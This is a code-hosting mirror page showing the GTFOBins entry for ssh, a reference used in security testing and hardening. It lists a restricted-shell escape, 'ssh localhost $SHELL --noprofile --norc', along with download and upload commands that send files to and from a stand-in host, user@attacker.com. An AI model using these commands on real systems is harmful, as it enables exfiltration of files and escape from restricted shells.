This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-03 06:01:39 +01:00
Code
Issues
b457967d07
GTFOBins.github.io
/
_gtfobins
/
ssh.md
Andrea Cardaci
358628c2f2
Remove hardcoded instances of bash
2018-05-28 17:48:26 +02:00
577 B
Raw
Blame
History
functions
execute-interactive
download
upload
description
code
Reconnecting may help bypassing restricted shells.
ssh localhost $SHELL --noprofile --norc
description
code
Fetch a remote file from a SSH server.
HOST=user@attacker.com
RPATH=file_to_get LPATH=where_to_save ssh $HOST "cat $RPATH" > $LPATH
description
code
Send local file to a SSH server.
HOST=user@attacker.com
RPATH=where_to_save LPATH=file_to_send ssh $HOST "cat > $RPATH" < $LPATH